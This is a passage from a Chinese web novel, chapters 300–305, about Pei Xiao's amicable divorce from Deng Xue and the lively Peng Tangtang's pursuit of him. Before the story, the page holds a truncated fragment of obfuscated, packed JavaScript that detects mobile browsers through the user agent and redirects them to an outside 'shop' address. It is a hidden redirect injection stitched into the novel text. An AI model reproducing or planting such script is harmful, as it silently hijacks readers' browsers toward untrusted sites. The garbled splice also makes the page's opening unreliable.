他不喜欢看她闷闷不乐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603491|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>或许,他对她自始至终少那么一点……激情。
他的错。
“明天一早,咱们去民政局递申请,一个月后拿证。”他起身,还是抱了抱她,“没关系,离了婚,我们还可以是朋友,不必尴尬,要非说谁对不起谁,也是我对不起你。”
她感受着他的体温。
突然哭了。
不管他有没有爱过她,她爱过他是真的。
“裴啸,希望你以后遇到一个,可以真正让你不顾一切的女孩,我会祝福你的。”
“那你到时会来参加我的婚礼吗?”他笑着,随即将她拥得更紧,“放心,我不会给你发请柬的。”
他捧着她的脸,在她的唇上,重重地亲吻了一下。
“我希望你,以后会幸福,很幸福的那种,邓雪,我真的喜欢过你,也是真心希望你过的很好。”
“谢谢你裴啸,我们都会很好的。”
二人就这样平静的,结婚了婚姻关系。
一大早。
邓雪和裴啸去民政局提交了离婚申请书。
没有财产分割,也没有孩子,很快拿到了回执,一个月后,如果其中一方没有撤回,就可以拿到离婚证了。
结束了。
邓雪拖着行李,准备前往机场。
“那我就先走了,后会有期。”邓雪招停了出租车。
上车前,她又看了裴啸一眼。
多好的男人,可惜他不爱她。
“我走了裴啸,祝你好。”
裴啸眼眶有些湿润。
但还是面无波澜地冲她挥手再见,“一路顺风。”
他抽了根烟递到唇上。
望着那辆出租车的尾灯,久久没有回神。
“何绩,我不跟你结婚,你把我绑到民政局也没有用,我不会嫁给你的。”小姑娘的声音。
何绩扣住她的手腕,往民政局里拖,“我不嫁给我,嫁给谁?”
安糖糖死命的挣扎,“你管我嫁给谁呢,我告诉你何绩,我已经有男朋友了,你赶紧放开我,要不然,一会儿,他看到你在纠缠我,他会打爆你的头。”
何绩轻笑。
这鬼丫头,就会拿这种唬人话来吓唬他。
他才不相信,“好啊,你让他过来,我看瞧瞧,看看他能不能打爆我的头。”
安糖糖四下寻找目标。
她发现了裴啸。
这男人又高又帅,看起来成熟又有风度,倒是可以借来一用。
“呶,他在那儿。”
第301章 打死我,我也不会嫁给你
何绩不信,笑话她,“人家往那儿一站,就成你男朋友了?糖糖,你别跟我闹了,行不行?”
“你不信是不是?”
安糖糖打掉何绩的手,跑到了裴啸的面前。
她抬手拿掉他嘴上的烟卷。
将自己的唇印了上去。
“大哥,帮帮忙,我会感谢你。”她鼓鼓囊囊地说。
裴啸想要推开她,安糖糖直接伸手搂住了他的脖子,加深了这个吻,“大哥,救人一命,胜造七级浮屠,别推开我……”
何绩气得要命。
不管真假,脸面上都挂不住,“安糖糖,你有种,你以后想嫁给我,我也不会再娶你了……”
安糖糖睁一只眼,闭一只眼的,看着何绩离开。
这才松开了抱着裴啸的手。
尴尬又不失礼貌地笑了笑,“谢谢你啊大哥,我被人强迫来结婚,没办法,才出此下策,你帮了我大忙,我会感谢你的,呶。”
安糖糖从包里拿出一沓现金。
看起来有个几千块的样子。
“这钱,算是对你的补偿。”
裴啸没动。
她便将钱硬塞到了他的手里,“别客气,这是你应得的,谢谢你啊大哥,后会无期。”
安糖糖松了口气。
开开心心的跑掉了。
裴啸:……
他刚离婚,就被人占便宜了?
还真是点背。
坐进车里。
他将这一沓现金往手盒里扔的时候,发现现金中间夹着一张音乐剧的票。
时间就是明天晚上。
这丫头还怪贴心的。
这一段时间太累了。
工作,离婚。
他倒是可以去听一场音乐会,放松一下。
……
音乐会,在江城的大剧院。
演的某个知名大著作。
裴啸找到位子后,就开始放空自己。
台上的演员在做着准备。
他将手机关到静音键上。
“喂,大哥。”安糖糖惊叫,赶紧捂住了自己的嘴,压低声音,“好巧啊大哥,我,强吻你的那个,咱们两个还真有缘。”
裴啸淡淡地看了她一眼。
波澜不惊地说,“票是你夹在钞票里的。”
安糖糖毫不在意。
反正就是觉得两人有缘分,“还想跟你相忘于江湖呢,看来……我们得认识一下了,我叫安糖糖,你呢大哥,你叫什么?”
“你不需要知道我叫什么。”裴啸言语很疏离。
安糖糖并不介意,咧着嘴,用手肘捅咕了他两下,“哎呀,别这么高冷嘛,你要不跟我讲你叫什么,以后我就见到你,我就叫你小帅?怎么样?”
裴啸蹙眉。
这才侧过脸来,看向安糖糖。
很漂亮的一张小脸。
二十出头的样子,一脸的纯真和娇俏,“你是学生?”
“毕业了。”安糖糖弯着眼睛,笑成了月牙,“大哥,我看你年纪也不大吧,干嘛老冷着一张脸啊?不开心啊?离婚了?”
裴啸:……
看到裴啸越发冷峻的眉眼。
安糖糖一拍脑袋,坏了,是不是猜中了?
“大哥,你真的刚离婚啊?昨天在民政局,你是去离婚的呀?”
“天哪,我被拉去结婚,你去离婚,我们还真的是……同为天涯沦落人呢。”
她不自觉地演起了苦情。
小脑袋靠在了裴啸的肩上。
裴啸往身子一闪,她的脑袋,被恍了一下,尴尬的坐直,“我可没有取笑你的意思,我也挺惨的,要不,我们交个朋友吧,你告诉我你叫什么?”
裴啸不说话。
安糖糖拿起手机来,对着他的脸拍了一张。
很快百度识图。
出来了裴啸的介绍。
“润合集团董事长,裴氏集团继承人,**年生人,属马,毕业于***大学,……”
安糖糖越读声音越小。
她听说这个名字的。
“大哥,你抬头好多啊,原来你就是裴啸啊,久仰大名啊。”
裴啸侧过脸来看向她,“你听说过我?”
“你应该也听说过我吧?”安糖糖巴巴地眨了眨眼,“我爸叫安初平。”
“是你安叔家的女儿?”裴啸无语笑了,“我记得我上次见你的时候,你才……”
他用手比了个高度。
还是个小屁孩。
现在倒是长成亭亭玉立的大姑娘了。
“人会长大的嘛。”安糖糖确定这个世界很奇妙了,“我到了适婚的年龄,你也离婚了,我们都挺命苦的。”
她叹息着。
仿佛一瞬间,变得不快乐起来。
音乐剧开场。
偏喜剧性质,很快安糖糖就进入剧情,没心没肺地笑了起来。
裴啸没看出哪里好笑。
可能是他老了。
音乐剧散场后。
安糖糖将自己的手机码,递过去,“加个好友呗,裴啸哥哥。”
“有这个必要吗?”
他拿起外套,起身往外走。
安糖糖跟着追上他,“怎么就没这个必要了?好歹我们两家也是世交,你就当我是妹妹好了,加一个呗。”
“我有妹妹。”
裴啸拒绝。
安糖糖撇嘴,将他拦下,伸手去掏他的裤兜。
裴啸吓着了。
往后退了一步,“你……干什么?”
“你看你,主动加你,你又不加,我只能强加了。”安糖糖将手机往他面前一递,“你加不加嘛。”
小丫头过于任性。
或许可以说,过于有个性。
裴啸只好拿出手机,扫了她的码。
“我通过了,裴啸哥,以后你就是我的星标好朋友了。”安糖糖欢快地收起手机,“那你可以送我回家吗?”
“别得寸进尺。”裴啸沉下脸。
安糖糖撇撇嘴,“这么晚了,我一个小姑娘,万一遇到坏人……,大哥,有点风度好不啦,我付你钱,可以吧?”
裴啸感觉自己被粘上了。
为了尽快送走瘟神。
他勉强同意,“下不为例。”
“谢谢裴啸哥哥。”
安糖糖是个话痨。
一路上,叽叽喳喳地说个不停。
一会儿聊自己为什么被强迫去结婚。
一会儿又问裴啸为什么会离婚。
话题一个接一个。
裴啸听得头疼。
终于是到了家门口,“行了,到了,下车吧。”
“裴啸哥哥,你来家里坐儿吧,反正,大家都认识。”安糖糖热情邀请。
裴啸只想赶紧回家休息,“不了,改天吧。”
“那行吧,那我们再联系。”安糖糖站在车边,挥手与他再见。
待车子走远。
安糖糖转身往家里走时,何绩突然冒了出来,“他还真是你的男朋友?安糖糖,你脚踩两条船,要是让你爸妈知道,会打死你的,你知道吧?”
“打死我,我也不会嫁给你。”安糖糖厌烦将何绩推开,“你呢,赶紧的浑蛋,别在我家门口,小心我报警抓你去做牢。”
第302章 打的你满地找牙
“我要公平竞争。”何绩不服气自己被踹,“他有什么呀?他有我年轻吗?有我对人一往情深吗?他比你得大十岁了吧?你缺爹啊你?”
安糖糖嘶了一口。
这个狗东西,还对人家年龄指手画脚上了。
“我就喜欢年纪大的不行啊?何绩,你是不是忘了你做过什么了?你**,你睡小姐,你还赌钱,我安糖糖是怎样的想不开,还要跟你结婚啊,你**这份心吧,你连裴啸的小脚指都不如,还要跟他竞争,你也配?”
安糖糖许久没有说这么唾弃人的话了。
一口气下来,她都有些缺氧了。
何绩听说过裴啸。
最近他的风头很劲,成了他们这些豪门贵胄家里,教育子女的榜样了。
“他就是裴啸?是,虽然他很厉害,但是……我听说他结婚了,你这不是第三者吗?安糖糖,你比我也好不到哪里去。”
安糖糖气得要揍人。
她叉起腰来,“何绩,你知道的还真不少,但是很遗憾的告诉你,他离婚了,男未婚女未嫁,你没机会了。”
何绩嗤之以鼻。
觉得安糖糖疯了,“一个离了婚的男人,有什么好的。”
“比**的赌徒,不知道要好多少倍呢。”安糖糖抬起纤细的指尖,警告他,“别再缠着我,你可打不过裴啸哥哥。”
“你……”何绩在安糖糖这里栽了跟头,咽不下这口气,“……我告诉你安糖糖,裴啸这种人,也看不上你这种小丫头的,也就是我把你当成宝,那种男人喜欢的是有能力的女人,你有什么能力?你能帮到他什么?”
安糖糖闭了闭眼。
这个何绩怎么回事?
偏偏跟她杠上了是不是?
“我有什么本事,我还要告诉你吗?何绩,老娘我有的是本事,我现在就可以分分钟潜进你们家集团的财务系统,把你们账上的钱,全部转走,你信不信?”
何绩信。
安糖糖是黑客。
他见识过她的本事。
但话又说回来,人家裴啸需要一个黑客吗?
“是,你厉害,但就这点本事,就想赢得一个男人的心,你也太高估自己了。”
安糖糖不耐烦了,一扬手,“你管我呢,你还有事没事了?没事赶紧滚蛋,以后少出现我面前,否则,我让我的裴啸哥哥,打的你满地找牙。”
安糖糖虽然自嗨。
但何绩还是信了一半。
女人有的是。
要不是看安糖糖家世好,他才不要低三下四的求她结婚呢。
“行,小爷要是再来求你,小爷就是狗。”
安糖糖白了他一眼。
转身离开。
一个月后。
邓雪再次飞回了江城。
拿到了属于她的离婚证。
裴啸给了她一张卡,“这是你前段时间,帮我拿下项目的佣金。”
邓雪诧然。
她没有想过要他的钱。
“这……我是宋总派过去的,要是有佣金,你应该给她,而不是给我。”
裴啸将卡塞到了邓雪的手里。
唇角微微抿起,语气清淡,“我跟南伊讲过了,她说佣金是你应得的。”
邓雪摇头,“我不能要。”
“收着吧,原来我们是夫妻,你可以不要,现在我们已经……,属于你的,我不应该克扣,拿着吧。”
话,说的很凉薄。
邓雪心里很不是滋味。
是啊,没有任何关系,可不得丁是丁,卯是卯的。
他不愿意欠她的。
免得以后,诸多的说不清,又道不明。
她指尖不自觉的攥紧了银行卡,“谢谢。”
“不急着回海城吧?”
“明天回。”她淡淡的说。
“晚上一起吃个饭?”
这次邓雪没有拒绝,“好啊。”
餐厅是裴啸订的。
很有风情的意大利餐厅。
邓雪心里五味杂陈的。
“还是第一次,来这么高级的餐厅,让你破费了。”
裴啸淡笑,将椅子拉开,“说的什么话,你要喜欢来,日后,我可以经常请你。”
“我们都离婚了,再出现在一起,会让人说闲话的。”邓雪弯身坐下。
裴啸没接她的话茬。
他点了瓶红酒。
给邓雪也倒了一杯,“抱歉啊,没有给你一个想象中的婚姻,是我的问题,我想过给你一些补偿的,我知道你自尊心重,所以……”
“结婚,离婚,受到伤害的又不止我一个人,你也是受害者,要说补偿,就相互抵消了吧。”
邓雪淡淡。
漂亮的小脸上,有遗憾,也有关系转变后的疏离。
他切了牛排,递到
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她的面前。
邓雪感慨。
淡声道谢,“我自己来就好。”
“以后见面的机会,可能会越来越少,是准备在海城定居不回来了?”
邓雪一直有这个打算,“是这样想的。”
“好好照顾自己。”
邓雪点头,“你也是。”
他们没有太多的话题聊,如从前一样。
一顿饭吃的又尴尬,又消极,又有一些乱七八糟的情绪。
对于裴啸来说,邓雪很好,也有能力跟他共同奋斗。
但是婚姻来说,他们或许不是好的伴侣。
他的放手,不是一时冲动。
是他自己对自己的不确定。
不确定他以后,会成为一名好的丈夫。
也不确定,他可以给她的人生带来快乐。
他和她都不太善沟通了。
他不能再强行把她留在身边,她没有幸福感,会痛苦。
她有资格,拥有更好的人生。
用完餐后。
二人并肩走出来。
男人芝兰玉树,风流倜傥。
女人风姿窈窕,知性大方。
怎么看也是郎才女貌的一对。
“那我先回去了,有机会再见吧。”邓雪微微抿唇,冲他摆手。
裴啸想送她回家,偏偏自己也饮了酒,“邓雪,如果遇到困难,尽管来找我。”
“好啊。”邓雪笑笑,“你也叫个代驾,早点回去吧。”
出租车离开。
裴啸独自站在风中,眼眶泛起了酸。
谁说离婚,受到伤害的都是女人。
男人也是一样的。
风吹过他的眼睛,有冰凉的液体,从眼角滑落下来。
他笑自己,没出息。
从口袋里拿出离婚证,撕掉后,就扔进了垃圾桶里。
站在不远处的安糖糖,也被这一幕感动。
她走到垃圾筒前,将撕掉的离婚证,捡了起来,装进了自己的包包里。
裴啸独自坐在车里。
她走过去,敲了敲车窗,“裴啸哥哥,你喝了酒,不能开车呦,你说巧不巧,刚好我有驾照,可以送你回家,友情价哦。”
裴啸掀起眼皮看她。
安糖糖发现他的眼眶还红红的。
“裴啸哥哥,你别难过了。”她又圣母心泛滥,“好啦,看到你这么难过的份上,我免费送你回家吧。”
第303章 适合孤独终老
安糖糖将裴啸从驾驶室扶到后排。
自己坐进驾驶室,系好安全带,然后拿出贴满钻的手机问裴啸,“哥哥,你家地址说一下喽。”
裴啸不想说话。
不知道是不是睡了。
“哥哥,你要不说,我可就把你带我家里去了?”
裴啸依然没理她。
安糖糖收回手机,连接汽车蓝牙,打开音乐。
‘滴滴’两声喇叭,驱车上路。
音乐很劲爆。
安糖糖跟着音乐,扭动着身子,还要一起合唱。
裴啸实在是震的头疼,“你能不能安静一点?”
“开车这么无聊,**静了,容易睡着的,哥哥。”安糖糖丢了块泡泡糖进自己的嘴里,“我把音乐声音弄小一点,你继续睡。”
安糖糖是个小女生。
所以有行为,对于裴啸来说,都是很奇怪的。
他说了自己家的地址,“把我送到楼下,你就可以走了。”
安糖糖从后视镜里看了裴啸一眼。
继续哼着歌开车。
裴啸的车子动力很足。
安糖糖对这车爱不释手,她其实有能力买一辆的,但是没舍得。
毕竟那钱,不是父母给的,是她熬夜赚的。
人啊,只有花自己赚的钱的时候,才会心疼。
“裴啸哥,你这车平时开吗?”
裴啸没说话。
她耸耸肩,简直是问了句废话。
车子开到裴啸家的楼下。
她将车钥匙丢在手盒里,准备离开。
走了两步,又掉头回来,打开了车门,“我还是送佛送到西天吧,裴啸哥哥,我送你上楼。”
裴啸个子大。
对于一个只有一百斤的小姑娘来说,着实有点压力。
好在,安糖糖不柔弱。
“几楼啊您?”
安糖糖掏空了裴啸的口袋,找到了他的房卡。
跌跌撞撞的将人,安全送回了家。
这个家里,按道理讲,不是应该有女人生活过的痕迹吗?
怎么,这么冷清啊?
装修,装修,家具,怎么是男人喜欢的。
结婚没住一起?
想来是了。
这样的婚姻能长久才怪呢。
安糖糖有点可怜裴啸的前妻了。
不过也替她庆幸。
她可以开始一段新的人生了。
“裴啸哥哥,你是一个很无趣的人吧?还有点洁癖,还有……”安糖糖看着房间的布置,摸着下巴,“……你好像是不是,也不太喜欢女人啊?”
“不喜欢女人,我结什么婚,小屁孩,你懂什么?”
裴啸踉跄着起身,去倒了杯水喝。
安糖糖一屁股坐到沙发里,“我的意思是,你不太喜欢女人加入进你的生活对吗?如果你喜欢家里有个女人,下班就看到她的话,你的家不应该这样的没有烟火气。”
裴啸愣了愣。
或许吧。
他和邓雪并没有实质性的,在一起生活过。
“你是说我,适合孤独终老?”
安糖糖也不是这个意思,“我是觉得,你首先要敞开你的心,接纳一些东西,这样,你才能在遇到自己喜欢的人的时候,很好的融入并适应。”
安糖糖对裴啸很好奇。
“裴啸哥哥,你喜欢温婉贤淑,照顾你的全职太太类型,还是喜欢职场女性,有自己的事业,可以与你齐头并进的?”
裴啸没有给出答案。
可能遇到那个对的人,她是什么样的,并不重要吧。
“小屁孩,问那么多干什么。”
“哎呀,沟通一下嘛,我想了解你啊。”安糖糖不怕生,跟裴啸见过几面,就跟相识了几年一样的,“你也别误会,我没有要跟你有什么的意思,我就是觉得你……心里挺苦的,我可以当知心大姐姐嘛。”
“你母爱泛滥,去找小伙子去,我不需要。”
裴啸一脸的嫌弃。
安糖糖撇嘴,“好吧好吧,看在你心情不好的份,我不跟你计较,那你早点休息,我就先回去了。”
离开前,她贴心的给裴啸倒了杯水,放到了他面前。
立马滚蛋。
裴啸的状态一直不好。
胜在他的工作很忙,裴敬之将他叫回裴氏工作。
东靖川,那双钉子般的眼睛。
时常让他有一种被监视的感觉。
还好,他并不是全天都呆在裴氏。
他更喜欢呆在润合,因为霍时序时常会过来找他说说话。
秋去冬来,转眼就到了又一年的春天。
距离裴啸和邓雪离婚半年多的时间。
宋南伊收到了邓雪的结婚请柬。
看到请柬,她有点懵了。
霍时序回到家看她发呆,以为出什么事情,“怎么了?”
“邓雪要结婚了。”
“什么?”霍时序拿起请柬看了一眼,“吕一威?这又是什么人啊?怎么没听说过?她这才离婚半年,就……结婚了?是不是婚前
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就跟这男人好上了?”
“是她的发小。”宋南伊倒觉得邓雪这次的选择,并不盲目,“一直以来,她和裴啸哥的婚姻就是别别扭扭的,这个吕一威跟她有相同的经历,而且这个人很上进的,从一无所有,到现在小有成就……两个人知根知底的,人家为了她,把公司搬到了海城……”
只凭这一点,就比裴啸强多了。
裴啸从未在婚姻中妥协过。
爱情,不妥协,不退让,怎么能走下嘛。
必定是一个人要牺牲的。
如果一直由女人做这个牺牲品,那就得给予很多很多的爱。
爱没有,又不做出牺牲,离婚是必然的。
“弄了半天,裴啸是个备胎啊?”霍时序替裴啸打抱不平。
宋南伊摇头,“你理解错了,裴啸哥不是备胎,吕一威也不是备胎,邓雪对裴啸还是有感情的,但二人这把火怎么着也燃不起来,怎么办呢?只能说明,两个人不适合在一起,你可别瞎说。”
霍时序不予置评。
既然发了请柬,说明要办婚礼了。
“你要去参加婚礼吗?”
“当然,我必需要到场啊,不仅我到,你也要陪我一起。”宋南伊已经订好机票了,“听到没有?”
“是,听太太的。”
他就是不知道,裴啸有没有得到消息。
裴啸这边,邓雪没有通知。
一来是没有必要,二来,她怕吕一威心里不舒服。
但吕一威心态很好。
他和邓雪从小一起长大,对她的性格太了解了。
无论自己是备胎也好。
是什么也罢,他愿意就行。
“叮。”邓雪的手机响了一声。
是一条转账信息。
看着转账人的名字,她陷入了深思。
“怎么了?”
吕一威将她的手机拿了过去,有一些意外,“裴啸给你转钱了?怎么转了这么多?说是祝贺你新婚快乐的,这事……收吗?”
邓雪摇头。
这钱,她不会收的。
她拿起手机来,给裴啸回了条信息,“谢谢你的祝福,心意收到了,红包就不用了,如果有时间,你可以来喝杯喜酒。”
“我就不去了,一点小心意,还是收下吧,祝你们百年好合。”
邓雪将钱退回后。
裴啸又发了过来。
如此三番四次后,吕一威替邓雪收下了,“等他结婚的时候,再把红包给他就好了。”
第304章 我身材棒,你又知道了
“你不介意吗?”邓雪问。
吕一威淡笑,“这有什么好介意的,他都是前夫哥了。”
“看来,你对我……也没什么感情。”邓雪摸着无名指上的求婚钻戒,“我现在有点后悔,答应你的求婚了。”
“别,别,别,这玩意可不经开,我从初中就喜欢你了,好啦好啦,不生气,老公哄……”
邓雪被他肉麻到,“你可真恶心。”
“你不就喜欢我这恶心劲吗?”吕一威笑着将邓雪搂进怀里,跟她接吻。
……
邓雪婚礼的这天。
霍时序特意给裴啸打了个电话。
问他的心情。
裴啸只说了句,“替我祝福她。”
便挂断了。
手机里有霍时序发来的婚礼现场的视频。
邓雪笑的很开心。
他从未见她在自己面前,那样笑过。
她是满足的。
那位吕先生看向她的眼神,也满是爱意。
不像他,爱与不爱,都不明显。
她找到了属于自己的幸福。
他替她开心。
他点了某酒店的几道菜品。
开了瓶红酒。
准备自己小酌一下。
接单的是安糖糖。
她不是专职送外卖,这家酒店是朋友开的,当时她投了点小钱,没事情的时候,偶尔来帮个忙。
今天顺路。
地址有些熟悉。
摁门铃。
裴啸来开门。
四目相对,安糖糖愣住了,“还真是你家啊?我说怎么这么……好像来过的样子呢。”
“你怎么沦落到送外卖了?一会儿给你发个红包。”
裴啸一副接济穷人的样子。
安糖糖自顾自的拎着外卖,进了他的家,“我爸为了让我妥协嫁给何绩,把我卡全锁掉了,我不得赚点生活费自己吃喝嘛,你也不用可怜我,我有单子接的时候,赚的可多了。”
裴啸轻笑。
从她手中接过外卖。
在餐桌上一一摆开。
“你点的这几道菜,是招牌,厨师做的可好吃了,记得给我们五星好评呦。”安糖糖说。
裴啸抬眸看她一眼。
开了酒,自顾自饮,“行了,没你什么事儿,赶紧走吧。”
“裴啸哥哥,你这个人,真的是好没有情调哦,你在喝红酒哎,红酒不得配个美人吗?”安糖糖嘻嘻哈哈的坐到了裴啸的对面,“今天不开心啊?要买醉?”
“管你什么事?”
一杯红酒仰头喝光。
安糖糖嘟嘴,“我好心好意的,想要疏导一下你,你总是这样对我,很伤人心的。”
“我跟你很熟吗?”
安糖糖摇头,“倒也不熟。”
“赶紧走。”裴啸赶人。
安糖糖只好起身,“那我真走了,你就不考虑一下,把烦心事,向我倾倒一下?我蛮会安慰人的。”
“你个小屁孩,你懂什么。”
他都三十出头了,都不懂什么是爱情。
一个二十出头的毛丫头,除了叽叽喳喳,嘻嘻哈哈,哪懂他的烦恼。
刚走到门口安糖糖,又折身回来,将身上的包包摘下来,放到一旁。
很不服气的,坐到了裴啸的对面。
“你也别这么说,没吃过猪肉还没见过猪跑吗?那洋柿子,小黑猫的小说,我也下载了不少呢,我懂得可多了。”
安糖糖双手托着下巴,巴巴的看向裴啸,“那我猜一下,你如此的苦恼……不会是因为……你前妻又再婚了吧?”
裴啸猛的抬眸。
安糖糖双眸瞪圆,坏了,又让她给崩对了。
她尴尬的咧着嘴,“我也不故意猜的这么准的,前妻再婚了,就说明,她已经放下了,你也应该放下不是吗?”
“我说我没放下了吗?”他又给自己倒了杯红酒。
安糖糖撇撇嘴,“你这个样子,分明就是没放下呀。”
“怎么样才算放下?我也找个女人再婚?”他嘲弄着扯唇,像在笑话自己的无能,“我可没那么现成的人,跟我一起玩这种疯狂游戏。”
“那是。”安糖糖像个小老师,眨了两下大大的眸子,“这不现实,但你也要敞开你的心,接受……下一段感情,你这么好看,身材又棒,又有钱,不难找女人的。”
“我身材棒,你又知道了?”小屁孩说胡话。
安糖糖摆摆手,“就算没摸着,也能看着啊,你……以前不是会……黑皮体育生吧?”
裴啸投降了。
这个丫头,一猜一个准。
他有点招架不住了。
“你是不是调查过我?”
安糖糖额角颤动,小手遮起眼睛,小声像是跟自己在说,“又让我给猜对了。”
“当,当然没有调查过啊,我就是纯猜的。”
裴啸冷哼,“最好是。”
“我真没有调查过你,老裴,你这个人吧,就是别把自己看的太重要了,我们总共没见过几次,我调查你干嘛呀,我又不喜欢你。”
安糖糖将裴啸的筷子抢了过来,开始夹菜吃。
裴啸:……“你叫我什么?老……裴?”
安糖糖吃菜动作一滞。
这个称呼确实不太礼貌。
“啊呸,我叫顺嘴了,我有个同学也姓裴,我就老裴老裴的叫习惯了,裴啸哥哥,我错了,错了,错了……”
安糖糖拍了两下自己小嘴。
裴啸叹息。
他确实是老了。
“行了,别找补了,我比你大十岁,确实是老裴了。”
“当,当然不是了,你看起来,还是蛮老当益壮的……”安糖糖闭眼,要死了,她怎么总提老这个字,“我是想说,裴啸哥哥正当年,你这个年纪的男人,最有魅力了,最招小姑娘的喜欢。”
“那你喜欢吗?”他故意的,想看看这个古灵精怪的小丫头,要如何回答。
安糖糖拍拍胸口,脸不红,心不跳的,“当然啊,我就喜欢你这样的,包包的。”
裴啸一脸不信,又极为嫌弃的,笑了笑。
很苦,很涩,有一种,这辈子就是孤家寡人一个的悲凉感。
安糖糖突然有点心疼眼前的这个男人。
他明明很好啊。
只是他这个年纪的男人,背负的太多,喜怒也无法放到脸上。
他其实更需要关怀和爱,更需要有人给他一个温暖的怀抱。
“裴啸哥,我跟你喝一杯。”
安糖糖找了杯子,给自己倒了一杯,“所有的过去,都会过去的,裴啸哥,你将来一定会遇到一个,特别爱你的女孩子,她会包容你的一切,她会全心全意的爱你,她会成为你背后的依靠,她会给你生儿育女,会永远对你不离不弃。”
仰头,红酒干了。
安糖糖差一点呛到,眼眶红红的。
她是真心的祝福他。
裴啸笑着摇了摇头,虽然她说的这些,一定不会实现,但他还是挺感谢这个小丫头的。
“你挺会安慰人的,谢谢。”
第305章 我告诉你,我可会接吻了
“我是真心的,真的裴啸哥哥,你这种形象的,要是放到我们同学群里,那就是极品,分分钟被抢走,男人二十岁的年纪不吸引人,三十岁才是最有魅力的时候,这个时候的男人,无论是智商,还是体力,反正各个方面都是最好的时候。”
安糖糖说的有模有样的。
裴啸放下酒杯,反问她,“你怎么知道,男人三十岁的时候,体力是最好的时候,你试过几个三十岁的男人?”
“我……”她脸红,她还是个黄花大闺女的好不好,“……也没几个。”
“没几个是几个?”他成心逗她,眼神一瞬不瞬的盯的她脸色。
安糖糖耳根泛红,无措地端起酒杯,给自己灌了一口,“反正……我不是雏了。”
她不许他笑话她。
裴啸笑了。
还挺犟的。
“祝贺你不是雏。”他端起酒杯,笑着碰了碰她的酒杯。
安糖糖脸更红了。
他就是在笑话她。
“喂,裴啸,你什么意思?我告诉你,我在床上可厉害了,你们男人都不是我的对手。”
“哦。”裴啸根本不在意的点了点头。
安糖糖嘟起小脸。
起身走到他的面前,抬手握住了他的下巴,“你不信是不是?”
他觉得这个小姑娘,傻得可爱。
哪有女孩子说自己,在床上厉害的。
“我信啊。”
“我告诉你,我可会接吻了。”她将唇印在了裴啸的唇上,又啃又咬的,被裴啸一把推开,“占我便宜啊?”
“我是想……”
她是想说,自己可厉害了。
不是他想的那样。
但她这样证明,确实有些太孩子气了。
脚步不安的后退了一步,
身子却突然后仰。
裴啸的大手及时握住了她的腰,她顺理成章的扑进了他的怀里。
气氛突然就变得不对起来。
他要推开她。
她却搂上了他的脖子,“裴,裴啸哥,要不……我们两个试试吧。”
“你个小屁孩,试什么试,下去。”他赶人。
安糖糖不肯。
她觉得气氛哄托到这儿了,不干点什么,有点说不过去,“就试一下,我……,我想试试你。”
裴啸拧眉。
试试他是什么意思?
“你脑子没坏掉吧?”
“没有。”她紧紧的搂着他,去吻他,裴啸躲,她就追着亲。
他抬手,握住了她的脖子,“你神经病啊?回家去。”
“裴啸,你……你是不是喜欢男的?”安糖糖第一次对一个男人有冲动,他竟然无动于衷,“你不喜欢女的是不是?你前妻跟你离婚,就是因为你……喜欢男的,一定是的。”
裴啸抓起桌上的酒杯,给自己灌了口红酒。
他真的不是容易被激怒的人。
这个小丫头,就偏要惹他。
抓着安糖糖的脖子,往脸前一带,“我告诉,我可不是什么好东西。”
“两个坏东西,看看有没有化学反应。”
她再次主动地去吻他的唇。
小姑娘很生涩。
吻技远没有嘴上说的那么熟练。
裴啸的大手摁住她的后脑,被动转为主动,红酒的香气在二人口中辗转。
但他的理智尚存。
一吻结束后,他停了下来,“够了吧?”
“你挺会亲的。”安糖糖舔了舔干涩的唇,细嫩的指尖,在他的唇上轻轻的抚着,“我的吻技怎么样?”
“很差劲。”
他推开她。
继续喝酒。
安糖糖背起小手,讪讪的坐到了裴啸的对面,“你挺克制的,我以为你吻的上头了,会把我……就地正法呢。”
“回去吧,在一个大龄,单身,离异的男人家里,很危险。”
安糖糖眼神又往他的唇上看了一眼,“我喝酒了……不能开车……”
“叫代驾。”
“哦。”安糖糖抓起自己的包包,背在身上,“那我回去了。”
裴啸抬了抬手指。
安糖糖一步三回头的,最终还是离开了裴啸的家。
关好门。
她摸着自己发烫的小脸。
觉得挺丢脸的,生平第一次勾引别人,说了一些不着调的话就算了,裴啸对她根本就没有意思。
可她喜欢他的唇。
她没有被人那样亲过。
她竟然在回味他的吻……
丢死人。
……
裴啸喝醉了,在沙发上凑合了一晚。
一大早。
他去裴氏开会。
东靖川叫住他,“裴总说了,你拿下的项目,已经完成的差不多了,如果三个月内,没有新项目上线,进董事会的日子,就要延期。”
裴啸根本不在意,能不能进董事会。
倒是东靖川,显得过于焦急。
“东靖川,你比我年龄大,其实,我是不屑跟你抢的,但是你要知道,你的身份,注定不会被董事局接受,哪怕你再优秀,那些元老们也要掂量掂量,不是赶走我,你就会占稳脚跟,你还得懂理收买人心。”
东靖川沉颜。
他是私生子这事,裴啸一直知道。
但好像裴啸一直装不知道。
这些年来,他从来不跟自己争抢什么,成年后也是去国外从医,而不是直接进裴氏。
所以,东靖川这些年,才能在裴氏扎得稳脚跟。
他一直在培养自己的势力。
但是好像总是力不从心。
裴啸一针见血,他内心是有焦虑和不甘的。
“能不能被接受,得看自己的实力,裴啸,我并不在你之下。”
裴啸淡淡的看着他。
他知道东靖川是私生子这事,是在他五岁那年。
东靖川比他大两岁。
父亲与母亲结婚前,东靖川的母亲是父亲的女朋友。
因为想攀上外公家这根高枝。
他抛弃了还怀着孕的女朋友。
一个雨夜,东靖川的母亲找上门来,说自己时日无多,要将东靖川送回裴家。
父亲是不愿意的。
那时外公势力很强大,父亲还要指望母亲的娘家,才能在江城站稳脚跟。
东靖川就成了弃子。
一直被寄养在亲戚家里。
后来外公去世,东靖川也长大成人,就被父亲以侄子的身份,带进了裴氏工作。
在裴啸的眼中,东靖川挺可怜的。
即便是他继承裴氏,裴啸也没有意见。
但现在看来,东靖川的能力,远远达不到成为一个合格的继承人。
而裴啸必需担起重任。
“我自然是希望你比我强,东靖川,我不跟你抢,但你也别跟我耍阴的,大家凭实力说话。”
东靖川眼眸沉下。
没再言语,而进转身走向了会议室。
他知道自己没有裴啸沉得住气。
